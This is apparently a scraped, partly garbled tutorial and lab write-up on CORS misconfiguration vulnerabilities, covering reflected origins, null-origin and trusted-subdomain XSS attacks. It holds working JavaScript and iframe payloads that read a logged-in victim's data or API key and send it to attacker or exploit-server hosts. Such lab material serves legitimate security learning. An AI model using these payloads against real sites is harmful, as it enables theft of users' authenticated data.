Hack. Eat. Sleep. Repeat!!!
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com
robust-website.com will return this responseHTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Origin header matches the Access-Control-Allow-Origin specified in the response.The specification of Access-Control-Allow-Origin allows for multiple origins, or the value null, or the wildcard *. However, no browser supports multiple origins and there are restrictions on the use of the wildcard *.Values allowed-:null
*
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Credentials is set to true.Otherwise, it will not allow the response.Access-Control-Allow-Origin allows wildcards *.Access-Control-Allow-Credentials: true
* with transfer of credentials Access-Control-Allow-Credentials: true is disallowed as this would be dangerously insecure, exposing any authenticated content on the target site to everyone.Given these constraints, some web servers dynamically create Access-Control-Allow-Origin headers based upon the client-specified origin. This is a workaround for CORS constraints that is not secure.OPTIONS method, and the CORS protocol necessitates an initial check on what methods and headers are permitted prior to allowing the cross-origin request. This is called the pre-flight check.The server returns a list of allowed methods in addition to the trusted origin and the browser checks to see if the requesting website’s method is allowed.OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-origin header from Client’s requestGET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a23005b03c79d758046a3b900ae0022.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
var data = JSON.parse(this.responseText);
var api_key = data.apikey;
location='//exploit-0aa200f703149d1080e1a274013200d6.exploit-server.net/?key='+api_key;
};
</script>
<meta name="referrer" content="never">
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
GET /data HTTP/1.1
Host: normal-website.com
Origin: https://innocent-website.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://innocent-website.com
*.sensei.com
normal-user.com.An hacker might get a domain with hackersnormal-website.com.normal-website.com
normal-website.com.evil-user.net
null value.Although, browsers might send it in some circumstances.For example,file: protocolSandboxed cross origin requests
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
<!--Payload 2-->
<meta name="referrer" content="never">
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0ab300f00420f33881e289fd00e10007.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
var data = JSON.parse(this.responseText);
var api_key = data.apikey;
location='https://exploit-0a6100780480f311814e8889018a000e.exploit-server.net/log?key='+api_key;
};
</script>"></iframe>
-Even “correctly” configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>